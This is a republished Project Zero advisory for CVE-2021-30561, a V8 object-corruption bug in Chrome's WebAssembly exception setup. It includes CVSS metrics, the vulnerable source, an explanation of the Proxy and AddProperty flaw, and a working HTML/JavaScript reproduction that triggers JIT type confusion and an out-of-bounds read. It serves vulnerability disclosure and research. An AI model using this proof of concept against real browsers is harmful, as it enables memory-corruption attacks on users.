The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Chrome JS WasmJs::InstallConditionalFeatures Object Corruption
Chrome: JS object corruption in WasmJs::InstallConditionalFeatures
VULNERABILITY DETAILS
```
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle<Context> context) {
// Exception handling may have been enabled by an origin trial. If so, make
// sure that the {WebAssembly.Exception} constructor is set up.
auto enabled_features = i::wasm::WasmFeatures::FromContext(isolate, context);
if (enabled_features.has_eh()) {
Handle<JSGlobalObject> global = handle(context->global_object(), isolate);
MaybeHandle<Object> maybe_webassembly =
JSObject::GetProperty(isolate, global, \"WebAssembly\");
Handle<JSObject> webassembly =
Handle<JSObject>::cast(maybe_webassembly.ToHandleChecked());
// Setup Exception
Handle<String> exception_name = v8_str(isolate, \"Exception\");
if (!JSObject::HasProperty(webassembly, exception_name).FromMaybe(true)) { // *** 1 ***
Handle<JSFunction> exception_constructor = InstallConstructorFunc( // *** 2 ***
isolate, webassembly, \"Exception\", WebAssemblyException);
[...]
}
}
Handle<JSFunction> InstallConstructorFunc(Isolate* isolate,
Handle<JSObject> object,
const char* str,
FunctionCallback func) {
return InstallFunc(isolate, object, str, func, 1, true, DONT_ENUM,
SideEffectType::kHasNoSideEffect);
}
Handle<JSFunction> InstallFunc(
Isolate* isolate, Handle<JSObject> object, const char* str,
FunctionCallback func, int length, bool has_prototype = false,
PropertyAttributes attributes = NONE,
SideEffectType side_effect_type = SideEffectType::kHasSideEffect) {
Handle<String> name = v8_str(isolate, str);
Handle<JSFunction> function =
CreateFunc(isolate, name, func, has_prototype, side_effect_type);
function->shared().set_length(length);
JSObject::AddProperty(isolate, object, name, function, attributes); // *** 3 ***
return function;
}
```
The function `WasmJs::InstallConditionalFeatures` is responsible for setting up the `WebAssembly.Exception` constructor[2] depending on whether the corresponding feature is enabled. Usually, code like above only runs at context creation time before any user JS can be executed. However, in this case, the feature is controlled by an origin trial, and an attacker can add a new origin trial token to the active document at any time, by which they may have modified or replaced the `WebAssembly` object.
This is problematic because the `Exception` constructor is assigned via the service function `AddProperty`[3]. Unlike the regular `SetProperty`, `AddProperty` doesn't check whether a property with the same name is already defined on the receiver. As a result, the receiver may end up in a corrupted state where two of its properties have the same name. Moreover, if the receiver's map is deprecated by the time `AddProperty` is called, the function will create a new property descriptor, but modify the value of the existing property without updating its descriptor.
A property descriptor may contain, among other things, the field map i.e. the only map that values of that property are allowed to have. This information is used by TurboFan in the load elimination phase in order to remove unnecessary map checks. If an incompatible object is assigned to the property, the field map gets cleared, and all dependent code gets deoptimized.
The vulnerability allows the attacker to construct an object with a field that doesn't match its field map and thus cause a type confusion between an arbitrary JS object and the `Exception` constructor in JIT-compiled JavaScript code.
Note that the code checks if the `Exception` property already exists[1]. Unfortunately, it uses the `HasProperty` function, which follows prototype chains and trusts `Proxy` objects. Therefore, the attacker can implement a `Proxy` with a custom `has` handler, which will be triggered by `HasProperty` and define the `Exception` property when it's too late for the function to spot it.
VERSION
Google Chrome 91.0.4472.77 (Official Build) (x86_64)
Chromium 93.0.4532.0 (Developer Build) (64-bit)
REPRODUCTION CASE
```
<body>
<script>
array = [1.1];
array.stable_map = 1; // LoadElimination ignores fields with non-stable maps
proxy = new Proxy({}, {
has() {
object_1.Exception = array;
object_2.deprecated_map = 1.1;
object_2.Exception = array;
return false;
}
});
object_1 = {__proto__: proxy};
object_1.deprecated_map = 0;
object_2 = {__proto__: proxy};
WebAssembly = object_1;
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = 'AkraUQ8UvLgBl/MKvqU9ZuwZ2csKJU75hMutXva8msph9EKaxUkf1fmA4V3y8' +
'SLmwlYwFzKQHL2w+lwlIzfcJgsAAAB2eyJvcmlnaW4iOiJodHRwczovL2FuYW' +
'xvZy1mYXN0bmVzcy0yMzAyMTkudWMuci5hcHBzcG90LmNvbTo0NDMiLCJmZWF' +
'0dXJlIjoiV2ViQXNzZW1ibHlFeGNlcHRpb25zIiwiZXhwaXJ5IjoxNjM3MTA3' +
'MTk5fQ==';
document.head.appendChild(meta);
delete object_1.Exception; // transition back to object_2's map
jit = (object, index) => {
return object.Exception[index];
}
for (var i = 0; i < 100000; ++i)
jit(object_2, 0);
alert(jit(object_1, Number(location.hash.substring(1))));
</script>
</body>
```
The repro case won't work locally with the token above because of the origin restrictions. A live demo is available at https://analog-fastness-230219.uc.r.appspot.com/ebfe973809a47053be02ace515eef631/#1000000.
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2021-09-12.
Related CVE Numbers: CVE-2021-30561.
Found by: [email protected]
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum